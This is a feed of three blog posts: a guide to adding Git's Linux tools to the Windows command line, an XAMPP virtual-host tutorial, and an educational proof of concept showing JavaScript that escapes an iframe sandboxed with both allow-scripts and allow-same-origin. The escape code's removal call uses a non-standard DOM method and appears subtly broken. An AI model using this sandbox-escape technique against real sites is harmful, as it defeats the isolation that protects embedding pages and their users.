Forem: Daniel Dušek

How to add ls and other Linux commands into Windows command line

Daniel Dušek — Sun, 25 Dec 2022 18:41:34 +0000

Whenever I happen to be using the command line on Windows, I always end up running ls command and getting the annoying error 'ls' is not recognized as an internal or external command, operable program or batch file. This command is sometimes available in powershell, but never by default in cmd. Turns out there is an easy way to make it available, and in this post I will explain how.

The trick relies on git being installed on Windows system already. My assumption here is that you, the reader, is someone who works in tech and therefore chances are, you already have git on your machine. If that is not the case, you can install git by following this guide.

TL;DR - what's the trick - git is a tool that allows you to manage versions of your code projects and happens to bring the Windows executables for a lot of linux commands with the installation. You can add the directory where these executables are stored into the path and make them available in the CMD. Steps how to achieve this are bellow:

Find the usr\bin subfolder of the git installation folder (by default, it will be C:\Program Files\Git\usr\bin). If you installed git somewhere else, find the usr\bin directory inside that other location.
Open This PC or Computer, right click in the directory and select Properties. Control Panel > System and Security > System window will open.
On the left, choose Advanced system settings and click Environment Variables at the bottom.

In the Environment Variables window, find Path variable in the System Variables on the bottom part of the screen.
Click Edit and add path to the user\bin subdirectory of git installation folder in there:
- If git is installed in C:\Program Files\Git
- Path to add is: C:\Program Files\Git\usr\bin
Click OK, then OK, then OK and then open the new command line. Running the ls command now will result in listing the items of a current working directory.

Common issues

I can't find my git installation folder, how do I look it up? If you can run the git command from commandline:
- Go to This PC, right click and select Properties
- Select Advanced system settings on the left
- Select Environment Variables on the bottom and look for anything with a git in the path. There you will eventually find the actual git installation directory.
I followed the tutorial and still can't use ls in my CMD, what should I do? Start a new commandline window:
- Either press Windows Key + R and type in CMD, or just find it in the start menu.
- Run ls again and it should work now.
- Why? You were probably trying to run the command from previously opened CMD, which read the old value of Path variable when it was starting. It doesn't know about the changes you have made into the path yet.

Setting up virtual hosts on XAMPP* local webserver

Daniel Dušek — Mon, 22 Mar 2021 07:31:25 +0000

This tutorial will walk you through setting up a virtual host for your PHP project. I split this tutorial in two parts - beginning with quick walkthrough, from start to finish in few steps. In the second part, I dive deep on each step of the tutorial to make sure you understand everything that you have done. I have no illusion that most of you will read the second part.

I explain the concepts from a Windows-user perspective (paths, file names). If you happen to be a unix/linux user, I am sure you know where you have your stuff and can follow along.

Why create virtual hosts?

Your PHP application will likely run on real url address, such as danieldusek.com, you want to emulate this locally and localhost just doesn't do it for you. You want danieldusek.localhost instead. Or... your application maybe doesn't handle relative paths well.

Quick step by step virtual host setup in xampp

Make sure you know:

Path to your PHP project, e.g.: c:\users\username\source\mysite
Path to your xampp/lampp installation, e.g.: c:\xampp

Then go and do:

Open your xampp install directory and locate httpd-vhosts.conf file under apache/conf/extra folder.
Open httpd-vhosts.conf file in text editor of your choice.
At the very end of the file paste the following code, but replace:
1. c:\users\username\source\mysite with actual path to your PHP project,
2. danieldusek.localhost with your own name (do yourself a favor and use actually .localhost TLD)

<VirtualHost *:80>
    DocumentRoot "c:\users\username\source\mysite"
    ServerName danieldusek.localhost
    <Directory "c:\users\username\source\mysite">
        Require all granted
    </Directory>
</VirtualHost>

You have just configured local server to look for scripts to execute in whichever directory you chose, whenever it receives request looking for yourdomain.localhost (or whatever you have decided to go with).

Be sure to RESTART THE APACHE SERVER after saving the file.

The last step is to tell your computer to route all yourdomain.localhost requests to localhost (your computer):

Open c:\windows\system32\drivers\etc folder and find hosts file
Open hosts file in text editor of your choice, that can save files as administrator (Visual Studio Code can elevate to Administrator in a user friendly way when saving)
Add 127.0.0.1 yourdomain.localhost line at the very end of it.
Save.

When you now access yourdomain.localhost in the browser, you will see your project. If not, your setup is broken and/or you don't know what you are doing. Please proceed to the second part of this tutorial where I explain the concepts in more detail.

Step by step breakdown of what is actually going on

I decided to run an experiment where I will be explaining every concept of this tutorial and everything related to it, instead of providing troubleshooting FAQ. If my hypothesis is correct and my explanation up to par, you should be able to fix your problem on your own.

How it all works?

My basic assumption here is that you have installed an XAMPP or similar package on your device. You did that because you want to develop an application in PHP or other supported language.

XAMPP package comes with an apache server which knows how to process web requests, interpret PHP (if installed) scripts and provide content back to user sending the web requests. One of the things that apache server does while processing user's request is checking for what domain the request was sent. Remember this. Doesn't matter whether the domain name is valid or whether it exists.

When apache web server runs on a computer, it can be reached by accessing 127.0.0.1 - or its localhost alias - in the browser. Alternatively, if you happen to be connected to the internet and you have a public IP assigned to your computer, other people can send requests to your apache web server as well - they will use your public IP, instead of the localhost/127.0.0.1.

During the XAMPP / web server installation, you are allowed to choose on which ports the server will operate. By convention, http traffic will be served on port 80 and https traffic on 443. This convention is again important - these ports are well known and when your browser makes an http request, it lands on port 80 of the target server. Same it goes for https and 443. If you have chosen to use different ports for http and https traffic respectively, you will need to specify them in address.

Example scenario: You installed server to process http traffic on port 81. When you want to reach the server from your computer, you will have to access http://127.0.0.1:81.

These ports can be changed, but the process to do so would be out of scope for this tutorial. This stack overflow post does a great job at explaining how to do that.

To summarize - if you followed this tutorial, you achieved two things:

Told your apache server where to look for scripts when processing requests that are aimed at a specific domain that you specify in httpd-vhosts.conf.
Told your computer to re-route requests to yourdomain.localhost to 127.0.0.1, also known as localhost.

How does editing `httpd-vhosts.conf` works?

Let's have a look at the snippet of code that gets appended to the file:

<VirtualHost *:80>
    DocumentRoot "c:\users\username\source\mysite"
    ServerName danieldusek.localhost
    <Directory "c:\users\username\source\mysite">
        Require all granted
    </Directory>
</VirtualHost>

First thing that needs an explanation is the port number at line 1: <VirtualHost *:80>. It is 80, once again, as a side effect of the http=80 convention mentioned above. If you have installed on different port, you need to update it.

The asterisk infront of it tells the webserver to match all addresses. This can be used when you have multiple named addresses on your web server and want to fallback to the first one in case request does not match any other in the config file. Source: apache.org documentation.

The <Directory ...> are markings in a configuration language used by apache that indicate that everything inside them should be used on a given directory and all of it children directories and files. The things that are enclosed in them are called directives. Source: apache.org documentation

As for the actual directive used - Require all granted - this tells the apache server that it should not refuse to serve these pages to any IP requesting them.

In most scenarios, you will be on a local network without a public IP. So using this broad directive causes that effectively anyone on the same local network can request pages from your webserver. Should you have a public IP address, then anyone on the internet might be able to do that. If this is a concern for you, read the apache documentation and look for Require ip [IP] directive.

The ServerName yourdomain.localhost is pretty self-explanatory. Requests for given domain will be routed to the folder provided under DocumentRoot.

Why should you use `.localhost` TLD?

Short answer: Because you should not use an existing TLD.

Long answer: You have no control over which TLDs will be created in the future, but you can refer to RFC2606, page 2 which lists domains that you can use for private testing. These are .test, .example, .invalid, and .localhost.

How does `hosts` file update works?

In the second part of the local domain setup we edit the hosts file and add a 127.0.0.1 yourdomain.localhost line at the end of it. This line maps - as perceived by your computer - the yourdomain.localhost domain to 127.0.0.1 ip (your computer's ip; a localhost). You can put any domain and any IP address there instead and it will work the same way.

This is very similar to how Domain Name System (DNS) works. DNS is a protocol that maps domain names to IP addresses of computers that host websites the user is trying to reach. It is very convenient for users to type danieldusek.com instead of remembering that it is hosted on 89.221.213.23. It also gives me flexibility in changing the hosting provider without the need to tell people to now go to different address.

The hosts file is a local hint for the operating system that is used with higher priority. If a domain name is found in the hosts file, the system will not try to get the information about target IP address from the DNS server, but will use the one specified.

And that's about it.

Escaping Improperly Sandboxed Iframes

Daniel Dušek — Wed, 06 May 2020 11:39:17 +0000

Thanks to iframe's sandbox attribute, it is possible to specify restrictions applied on content displayed inside the iframe. The documentation strongly discourages from using both allow-scripts and allow-same-origin values due to security risks it may introduce. In this blogpost, I am going to explain and demonstrate why.

In Mozilla's developer documentation on <iframe>, you can find the following remark related to allow-scripts and allow-same-origin values of the sandbox attribute:

When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.

When I first read this note, I thought that escaping will be fairly straightforward:

Accessing window.parent from the page inside the iframe,
getting the iframe element reference via Document Object Model (DOM) functions, such as .getElementById() or .getElementsByTagName(),
removing the iframe's sandbox element via .removeAttribute("sandbox"),
calling alert() function to create a modal window despite allow-modals was not set for the iframe, hence escaping from the iframe's restrictions.

Unfortunatelly, this rather naïve approach does not work. From my experiments, the reason for that is the fact that browsers apply restrictions on the <iframe>'s content when loading the page. When I subsequently change or remove the sandbox attribute and then call "illegal" functions, browser will still block them.

On the following lines I will demonstrate the simplest solution I have been able to come up with. Before I get to it, let me explain the terminology I am using - a child page refers to a page that is being displayed in the iframe, while a parent page refers to a page that contains the <iframe> element.

Let's have a look at parent page, in index.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC - Discouraged combination of sandbox attribute values (parent page)</title>
</head>
<body>
    <iframe src="kid.htm" sandbox="allow-same-origin allow-scripts" id="escapeMe"></iframe>
</body>
</html>

This is the page that we need to modify from the child page (kid.htm). To escape the iframe as I outlined above, I will be popping an alert() from the child page inside the parent.

One of the simplest solutions I have been able to come up with is to simply create a new iframe in place of the old one, and let the child page know it has been loaded in unrestricted mode. I will walk you through the process step by step.

First, I will obtain a reference to the parent window and verify the iframe in question still exists. If the original iframe is missing, it means that the child page is loaded from another iframe - the one we are going to create in step 2 as a replacement:

let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {
    // 1. Create replacement iframe
    // 2. Delete the old one
} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}

In the second step, I expand the body of the condition to create unrestricted iframe and to remove the original one with restrictions:

let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {

    // 1. Create replacement iframe
    let replacement = parent.document.createElement("iframe");
    replacement.setAttribute("src", "kid.htm");
    replacement.setAttribute("id", "escapedAlready");
    parent.document.body.append(replacement);

    // 2. Delete the old one
    let original = parent.document.getElementById("escapeMe");
    original.parentNode.removeNode(original);

} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}

Now, when the parent page loads the child page into the iframe with allow-scripts and allow-same-origin, the child page manages to escape the original iframe's restrictions and execute its code.

Both of the files I used in this demonstration are available on my Github. You can also try for yourself on my Github Pages.

Can you think of a simpler way to escape? Please let me know!